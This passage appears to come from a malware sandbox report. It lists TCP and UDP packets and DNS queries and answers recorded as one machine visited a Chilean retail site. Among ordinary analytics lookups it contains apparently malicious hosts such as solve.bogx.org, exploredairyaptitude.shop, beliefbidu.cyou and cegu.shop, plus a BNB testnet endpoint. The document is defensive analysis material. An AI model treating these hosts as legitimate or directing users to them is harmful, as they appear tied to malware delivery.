Jan 10, 2025 20:51:22.595154047 CET	49823	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:51:22.595174074 CET	443	49823	188.114.97.3	192.168.2.17
Jan 10, 2025 20:51:22.651335955 CET	49824	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:51:22.651380062 CET	443	49824	188.114.97.3	192.168.2.17
Jan 10, 2025 20:51:22.651489973 CET	49824	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:51:22.651753902 CET	49824	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:51:22.651768923 CET	443	49824	188.114.97.3	192.168.2.17
Jan 10, 2025 20:51:23.122414112 CET	443	49824	188.114.97.3	192.168.2.17
Jan 10, 2025 20:51:23.122534990 CET	49824	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:51:23.123744965 CET	49824	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:51:23.123756886 CET	443	49824	188.114.97.3	192.168.2.17
Jan 10, 2025 20:51:23.124560118 CET	443	49824	188.114.97.3	192.168.2.17
Jan 10, 2025 20:51:23.125838995 CET	49824	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:51:23.125953913 CET	49824	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:51:23.125962019 CET	443	49824	188.114.97.3	192.168.2.17
Jan 10, 2025 20:51:23.673687935 CET	443	49824	188.114.97.3	192.168.2.17
Jan 10, 2025 20:51:23.673814058 CET	443	49824	188.114.97.3	192.168.2.17
Jan 10, 2025 20:51:23.673873901 CET	49824	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:51:23.673999071 CET	49824	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:51:23.674016953 CET	443	49824	188.114.97.3	192.168.2.17
Jan 10, 2025 20:51:23.678493023 CET	49825	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:51:23.678536892 CET	443	49825	188.114.97.3	192.168.2.17
Jan 10, 2025 20:51:23.678642988 CET	49825	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:51:23.678898096 CET	49825	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:51:23.678911924 CET	443	49825	188.114.97.3	192.168.2.17
Jan 10, 2025 20:51:24.141632080 CET	443	49825	188.114.97.3	192.168.2.17
Jan 10, 2025 20:51:24.141758919 CET	49825	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:51:24.143049955 CET	49825	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:51:24.143059015 CET	443	49825	188.114.97.3	192.168.2.17
Jan 10, 2025 20:51:24.144273043 CET	443	49825	188.114.97.3	192.168.2.17
Jan 10, 2025 20:51:24.145519018 CET	49825	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:51:24.145536900 CET	49825	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:51:24.145607948 CET	443	49825	188.114.97.3	192.168.2.17
Jan 10, 2025 20:51:24.472791910 CET	443	49825	188.114.97.3	192.168.2.17
Jan 10, 2025 20:51:24.473026037 CET	443	49825	188.114.97.3	192.168.2.17
Jan 10, 2025 20:51:24.473095894 CET	49825	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:51:24.473256111 CET	49825	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:51:24.473268986 CET	443	49825	188.114.97.3	192.168.2.17
Jan 10, 2025 20:51:24.473279953 CET	49825	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:51:24.473284960 CET	443	49825	188.114.97.3	192.168.2.17
Jan 10, 2025 20:51:24.586034060 CET	49826	443	192.168.2.17	185.161.251.21
Jan 10, 2025 20:51:24.586070061 CET	443	49826	185.161.251.21	192.168.2.17
Jan 10, 2025 20:51:24.586177111 CET	49826	443	192.168.2.17	185.161.251.21
Jan 10, 2025 20:51:24.586421013 CET	49826	443	192.168.2.17	185.161.251.21
Jan 10, 2025 20:51:24.586438894 CET	443	49826	185.161.251.21	192.168.2.17
Jan 10, 2025 20:51:25.311187029 CET	443	49826	185.161.251.21	192.168.2.17
Jan 10, 2025 20:51:25.311290026 CET	49826	443	192.168.2.17	185.161.251.21
Jan 10, 2025 20:51:25.312838078 CET	49826	443	192.168.2.17	185.161.251.21
Jan 10, 2025 20:51:25.312849998 CET	443	49826	185.161.251.21	192.168.2.17
Jan 10, 2025 20:51:25.313122988 CET	443	49826	185.161.251.21	192.168.2.17
Jan 10, 2025 20:51:25.314291954 CET	49826	443	192.168.2.17	185.161.251.21
Jan 10, 2025 20:51:25.359328032 CET	443	49826	185.161.251.21	192.168.2.17
Jan 10, 2025 20:51:25.573859930 CET	443	49826	185.161.251.21	192.168.2.17
Jan 10, 2025 20:51:25.573941946 CET	443	49826	185.161.251.21	192.168.2.17
Jan 10, 2025 20:51:25.574003935 CET	49826	443	192.168.2.17	185.161.251.21
Jan 10, 2025 20:51:25.574184895 CET	49826	443	192.168.2.17	185.161.251.21
Jan 10, 2025 20:51:25.574204922 CET	443	49826	185.161.251.21	192.168.2.17
Jan 10, 2025 20:51:25.574215889 CET	49826	443	192.168.2.17	185.161.251.21
Jan 10, 2025 20:51:25.574220896 CET	443	49826	185.161.251.21	192.168.2.17
Jan 10, 2025 20:51:56.791261911 CET	443	49690	204.79.197.200	192.168.2.17
Jan 10, 2025 20:51:56.791487932 CET	49690	443	192.168.2.17	204.79.197.200

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:49:26.436707020 CET	53	50719	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:26.474715948 CET	53	61772	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:27.284694910 CET	61455	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:27.284986973 CET	52884	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:27.482049942 CET	53	64469	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:27.742466927 CET	53	61455	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:27.770003080 CET	53	52884	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:31.226907015 CET	54930	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:31.226907015 CET	54014	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:31.233680964 CET	53	54014	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:31.234232903 CET	53	54930	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:31.361104965 CET	62398	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:31.361104965 CET	49650	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:31.614351034 CET	58805	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:31.614351988 CET	52164	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:31.632985115 CET	53	52164	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:31.652818918 CET	53	58805	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:31.806082010 CET	53	49650	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:31.844291925 CET	53	62398	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:32.708548069 CET	51336	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:32.708717108 CET	55439	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:32.715656042 CET	53	55439	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:32.718666077 CET	59346	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:32.719091892 CET	56006	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:32.739049911 CET	53	51336	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:33.743164062 CET	53	51238	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:33.831190109 CET	54064	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:33.831321955 CET	61634	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:33.831607103 CET	62447	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:33.831724882 CET	56574	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:33.837861061 CET	53	54064	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:33.837995052 CET	53	61634	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:34.010550022 CET	52498	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:34.010689020 CET	58955	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:34.011168957 CET	65382	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:34.011347055 CET	61384	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:34.017311096 CET	53	52498	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:34.017599106 CET	53	58955	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:34.018030882 CET	53	65382	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:34.018666983 CET	53	61384	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:34.829612017 CET	58558	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:34.829828978 CET	61409	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:35.038492918 CET	50669	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:35.038836956 CET	62571	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:35.045238972 CET	53	50669	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:35.045463085 CET	53	62571	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:35.191878080 CET	51269	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:35.192004919 CET	60361	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:35.198554993 CET	53	51269	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:35.198703051 CET	53	60361	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:35.210655928 CET	53	54254	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:35.277375937 CET	53	57548	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:35.318793058 CET	55288	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:35.319175005 CET	59474	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:35.325843096 CET	53	55288	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:35.326702118 CET	53	59474	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:35.331866980 CET	53327	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:35.332012892 CET	50584	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:35.338653088 CET	53	53327	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:35.338804960 CET	53	50584	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:35.681446075 CET	59496	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:35.681606054 CET	65100	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:35.688333035 CET	53	59496	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:35.688503981 CET	53	65100	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:35.930223942 CET	53823	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:35.930485010 CET	61653	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:35.936906099 CET	53	53823	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:35.937068939 CET	53	61653	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:36.043582916 CET	59580	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:36.043826103 CET	54942	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:36.050152063 CET	53	59580	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:36.050460100 CET	53	54942	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:36.141172886 CET	59167	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:36.141335011 CET	53475	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:36.149472952 CET	53	53475	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:36.149544001 CET	53	59167	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:36.571284056 CET	52227	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:36.571424961 CET	55388	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:36.578321934 CET	53	52227	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:36.578586102 CET	53	55388	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:37.090682983 CET	53743	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:37.090821028 CET	59633	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:37.097662926 CET	53	59633	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:37.098131895 CET	53	53743	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:37.603189945 CET	52936	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:37.603327990 CET	64861	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:37.611294031 CET	53	64861	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:37.611331940 CET	53	52936	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:44.454261065 CET	53	54542	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:49.570163012 CET	53	53653	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:52.538216114 CET	55225	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:52.562851906 CET	53	55225	1.1.1.1	192.168.2.17
Jan 10, 2025 20:49:56.723396063 CET	58587	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:49:56.742072105 CET	53	58587	1.1.1.1	192.168.2.17
Jan 10, 2025 20:50:03.322098970 CET	53	55403	1.1.1.1	192.168.2.17
Jan 10, 2025 20:50:04.251399040 CET	61841	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:50:04.265558004 CET	53	61841	1.1.1.1	192.168.2.17
Jan 10, 2025 20:50:18.419498920 CET	58474	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:50:18.437036037 CET	53	58474	1.1.1.1	192.168.2.17
Jan 10, 2025 20:50:25.718260050 CET	53	56548	1.1.1.1	192.168.2.17
Jan 10, 2025 20:50:26.387710094 CET	53	58201	1.1.1.1	192.168.2.17
Jan 10, 2025 20:50:39.516750097 CET	61754	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:50:39.530157089 CET	53	61754	1.1.1.1	192.168.2.17
Jan 10, 2025 20:50:47.584249973 CET	138	138	192.168.2.17	192.168.2.255
Jan 10, 2025 20:50:55.925673962 CET	53	65008	1.1.1.1	192.168.2.17
Jan 10, 2025 20:51:14.494293928 CET	50354	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:51:14.513405085 CET	53	50354	1.1.1.1	192.168.2.17
Jan 10, 2025 20:51:24.475748062 CET	50555	53	192.168.2.17	1.1.1.1
Jan 10, 2025 20:51:24.585305929 CET	53	50555	1.1.1.1	192.168.2.17

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 20:49:27.284694910 CET	192.168.2.17	1.1.1.1	0x14a6	Standard query (0)	patiooutletmaipu.cl	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:27.284986973 CET	192.168.2.17	1.1.1.1	0x37a4	Standard query (0)	patiooutletmaipu.cl	65	IN (0x0001)	false
Jan 10, 2025 20:49:31.226907015 CET	192.168.2.17	1.1.1.1	0x13df	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:31.226907015 CET	192.168.2.17	1.1.1.1	0xcc6c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 10, 2025 20:49:31.361104965 CET	192.168.2.17	1.1.1.1	0x5c69	Standard query (0)	patiooutletmaipu.cl	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:31.361104965 CET	192.168.2.17	1.1.1.1	0xf894	Standard query (0)	patiooutletmaipu.cl	65	IN (0x0001)	false
Jan 10, 2025 20:49:31.614351034 CET	192.168.2.17	1.1.1.1	0x57b9	Standard query (0)	data-seed-prebsc-1-s1.bnbchain.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:31.614351988 CET	192.168.2.17	1.1.1.1	0x1860	Standard query (0)	_8545._https.data-seed-prebsc-1-s1.bnbchain.org	65	IN (0x0001)	false
Jan 10, 2025 20:49:32.708548069 CET	192.168.2.17	1.1.1.1	0xc832	Standard query (0)	data-seed-prebsc-1-s1.bnbchain.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:32.708717108 CET	192.168.2.17	1.1.1.1	0x6884	Standard query (0)	_8545._https.data-seed-prebsc-1-s1.bnbchain.org	65	IN (0x0001)	false
Jan 10, 2025 20:49:32.718666077 CET	192.168.2.17	1.1.1.1	0xe535	Standard query (0)	use.fontawesome.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:32.719091892 CET	192.168.2.17	1.1.1.1	0x537e	Standard query (0)	use.fontawesome.com	65	IN (0x0001)	false
Jan 10, 2025 20:49:33.831190109 CET	192.168.2.17	1.1.1.1	0x7fee	Standard query (0)	connect.facebook.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:33.831321955 CET	192.168.2.17	1.1.1.1	0x6df1	Standard query (0)	connect.facebook.net	65	IN (0x0001)	false
Jan 10, 2025 20:49:33.831607103 CET	192.168.2.17	1.1.1.1	0xfa7b	Standard query (0)	analytics.tiktok.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:33.831724882 CET	192.168.2.17	1.1.1.1	0x452b	Standard query (0)	analytics.tiktok.com	65	IN (0x0001)	false
Jan 10, 2025 20:49:34.010550022 CET	192.168.2.17	1.1.1.1	0xe7b2	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:34.010689020 CET	192.168.2.17	1.1.1.1	0xb3ff	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 10, 2025 20:49:34.011168957 CET	192.168.2.17	1.1.1.1	0xad15	Standard query (0)	mc.yandex.ru	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:34.011347055 CET	192.168.2.17	1.1.1.1	0x2f14	Standard query (0)	mc.yandex.ru	65	IN (0x0001)	false
Jan 10, 2025 20:49:34.829612017 CET	192.168.2.17	1.1.1.1	0x397e	Standard query (0)	analytics.tiktok.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:34.829828978 CET	192.168.2.17	1.1.1.1	0xc8f1	Standard query (0)	analytics.tiktok.com	65	IN (0x0001)	false
Jan 10, 2025 20:49:35.038492918 CET	192.168.2.17	1.1.1.1	0x63a4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:35.038836956 CET	192.168.2.17	1.1.1.1	0x864a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 10, 2025 20:49:35.191878080 CET	192.168.2.17	1.1.1.1	0x633	Standard query (0)	connect.facebook.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:35.192004919 CET	192.168.2.17	1.1.1.1	0x9285	Standard query (0)	connect.facebook.net	65	IN (0x0001)	false
Jan 10, 2025 20:49:35.318793058 CET	192.168.2.17	1.1.1.1	0x5f44	Standard query (0)	analytics.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:35.319175005 CET	192.168.2.17	1.1.1.1	0xf55b	Standard query (0)	analytics.google.com	65	IN (0x0001)	false
Jan 10, 2025 20:49:35.331866980 CET	192.168.2.17	1.1.1.1	0x498f	Standard query (0)	td.doubleclick.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:35.332012892 CET	192.168.2.17	1.1.1.1	0x4330	Standard query (0)	td.doubleclick.net	65	IN (0x0001)	false
Jan 10, 2025 20:49:35.681446075 CET	192.168.2.17	1.1.1.1	0xcbf4	Standard query (0)	mc.yandex.ru	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:35.681606054 CET	192.168.2.17	1.1.1.1	0xba60	Standard query (0)	mc.yandex.ru	65	IN (0x0001)	false
Jan 10, 2025 20:49:35.930223942 CET	192.168.2.17	1.1.1.1	0x5854	Standard query (0)	mc.yandex.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:35.930485010 CET	192.168.2.17	1.1.1.1	0x63cb	Standard query (0)	mc.yandex.com	65	IN (0x0001)	false
Jan 10, 2025 20:49:36.043582916 CET	192.168.2.17	1.1.1.1	0xf8af	Standard query (0)	mc.yandex.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:36.043826103 CET	192.168.2.17	1.1.1.1	0x16b8	Standard query (0)	mc.yandex.com	65	IN (0x0001)	false
Jan 10, 2025 20:49:36.141172886 CET	192.168.2.17	1.1.1.1	0x38e3	Standard query (0)	stats.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:36.141335011 CET	192.168.2.17	1.1.1.1	0x1da5	Standard query (0)	stats.g.doubleclick.net	65	IN (0x0001)	false
Jan 10, 2025 20:49:36.571284056 CET	192.168.2.17	1.1.1.1	0xf621	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:36.571424961 CET	192.168.2.17	1.1.1.1	0x8bb9	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Jan 10, 2025 20:49:37.090682983 CET	192.168.2.17	1.1.1.1	0xd574	Standard query (0)	mc.yandex.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:37.090821028 CET	192.168.2.17	1.1.1.1	0xa4e9	Standard query (0)	mc.yandex.com	65	IN (0x0001)	false
Jan 10, 2025 20:49:37.603189945 CET	192.168.2.17	1.1.1.1	0x16a7	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:37.603327990 CET	192.168.2.17	1.1.1.1	0x36d0	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Jan 10, 2025 20:49:52.538216114 CET	192.168.2.17	1.1.1.1	0x4f3	Standard query (0)	solve.bogx.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:56.723396063 CET	192.168.2.17	1.1.1.1	0x5e40	Standard query (0)	b1.exploredairyaptitude.shop	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:50:04.251399040 CET	192.168.2.17	1.1.1.1	0x1999	Standard query (0)	d1.exploredairyaptitude.shop	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:50:18.419498920 CET	192.168.2.17	1.1.1.1	0x2e49	Standard query (0)	d1.exploredairyaptitude.shop	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:50:39.516750097 CET	192.168.2.17	1.1.1.1	0x2970	Standard query (0)	d1.exploredairyaptitude.shop	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:51:14.494293928 CET	192.168.2.17	1.1.1.1	0x76c8	Standard query (0)	beliefbidu.cyou	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:51:24.475748062 CET	192.168.2.17	1.1.1.1	0x31bd	Standard query (0)	cegu.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 20:49:27.742466927 CET	1.1.1.1	192.168.2.17	0x14a6	No error (0)	patiooutletmaipu.cl		200.111.89.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:31.233680964 CET	1.1.1.1	192.168.2.17	0xcc6c	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 10, 2025 20:49:31.234232903 CET	1.1.1.1	192.168.2.17	0x13df	No error (0)	www.google.com		142.250.186.36	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:31.632985115 CET	1.1.1.1	192.168.2.17	0x1860	Name error (3)	_8545._https.data-seed-prebsc-1-s1.bnbchain.org	none	none	65	IN (0x0001)	false
Jan 10, 2025 20:49:31.652818918 CET	1.1.1.1	192.168.2.17	0x57b9	No error (0)	data-seed-prebsc-1-s1.bnbchain.org	a37dd8b3f3000a75e.awsglobalaccelerator.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:31.652818918 CET	1.1.1.1	192.168.2.17	0x57b9	No error (0)	a37dd8b3f3000a75e.awsglobalaccelerator.com		3.33.155.121	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:31.652818918 CET	1.1.1.1	192.168.2.17	0x57b9	No error (0)	a37dd8b3f3000a75e.awsglobalaccelerator.com		15.197.152.159	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:31.844291925 CET	1.1.1.1	192.168.2.17	0x5c69	No error (0)	patiooutletmaipu.cl		200.111.89.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:32.715656042 CET	1.1.1.1	192.168.2.17	0x6884	Name error (3)	_8545._https.data-seed-prebsc-1-s1.bnbchain.org	none	none	65	IN (0x0001)	false
Jan 10, 2025 20:49:32.725377083 CET	1.1.1.1	192.168.2.17	0xe535	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:32.726273060 CET	1.1.1.1	192.168.2.17	0x537e	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:32.739049911 CET	1.1.1.1	192.168.2.17	0xc832	No error (0)	data-seed-prebsc-1-s1.bnbchain.org	a37dd8b3f3000a75e.awsglobalaccelerator.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:32.739049911 CET	1.1.1.1	192.168.2.17	0xc832	No error (0)	a37dd8b3f3000a75e.awsglobalaccelerator.com		3.33.155.121	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:32.739049911 CET	1.1.1.1	192.168.2.17	0xc832	No error (0)	a37dd8b3f3000a75e.awsglobalaccelerator.com		15.197.152.159	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:33.837861061 CET	1.1.1.1	192.168.2.17	0x7fee	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:33.837861061 CET	1.1.1.1	192.168.2.17	0x7fee	No error (0)	scontent.xx.fbcdn.net		157.240.251.9	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:33.837995052 CET	1.1.1.1	192.168.2.17	0x6df1	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:33.837995052 CET	1.1.1.1	192.168.2.17	0x6df1	No error (0)	scontent.xx.fbcdn.net			65	IN (0x0001)	false
Jan 10, 2025 20:49:33.837995052 CET	1.1.1.1	192.168.2.17	0x6df1	No error (0)	scontent.xx.fbcdn.net			65	IN (0x0001)	false
Jan 10, 2025 20:49:33.838282108 CET	1.1.1.1	192.168.2.17	0xfa7b	No error (0)	analytics.tiktok.com	analytics.tiktok.com.ttdns2.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:33.838282108 CET	1.1.1.1	192.168.2.17	0xfa7b	No error (0)	analytics.tiktok.com.ttdns2.com	analytics.tiktok.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:33.838402987 CET	1.1.1.1	192.168.2.17	0x452b	No error (0)	analytics.tiktok.com	analytics.tiktok.com.ttdns2.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:33.838402987 CET	1.1.1.1	192.168.2.17	0x452b	No error (0)	analytics.tiktok.com.ttdns2.com	analytics.tiktok.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:34.017311096 CET	1.1.1.1	192.168.2.17	0xe7b2	No error (0)	www.google.com		142.250.185.100	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:34.017599106 CET	1.1.1.1	192.168.2.17	0xb3ff	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 10, 2025 20:49:34.018030882 CET	1.1.1.1	192.168.2.17	0xad15	No error (0)	mc.yandex.ru		77.88.21.119	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:34.018030882 CET	1.1.1.1	192.168.2.17	0xad15	No error (0)	mc.yandex.ru		87.250.250.119	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:34.018030882 CET	1.1.1.1	192.168.2.17	0xad15	No error (0)	mc.yandex.ru		87.250.251.119	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:34.018030882 CET	1.1.1.1	192.168.2.17	0xad15	No error (0)	mc.yandex.ru		93.158.134.119	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:34.836417913 CET	1.1.1.1	192.168.2.17	0x397e	No error (0)	analytics.tiktok.com	analytics.tiktok.com.ttdns2.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:34.836417913 CET	1.1.1.1	192.168.2.17	0x397e	No error (0)	analytics.tiktok.com.ttdns2.com	analytics.tiktok.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:34.837439060 CET	1.1.1.1	192.168.2.17	0xc8f1	No error (0)	analytics.tiktok.com	analytics.tiktok.com.ttdns2.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:34.837439060 CET	1.1.1.1	192.168.2.17	0xc8f1	No error (0)	analytics.tiktok.com.ttdns2.com	analytics.tiktok.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:35.045238972 CET	1.1.1.1	192.168.2.17	0x63a4	No error (0)	www.google.com		142.250.186.132	A (IP address)	IN (0x0001)	false
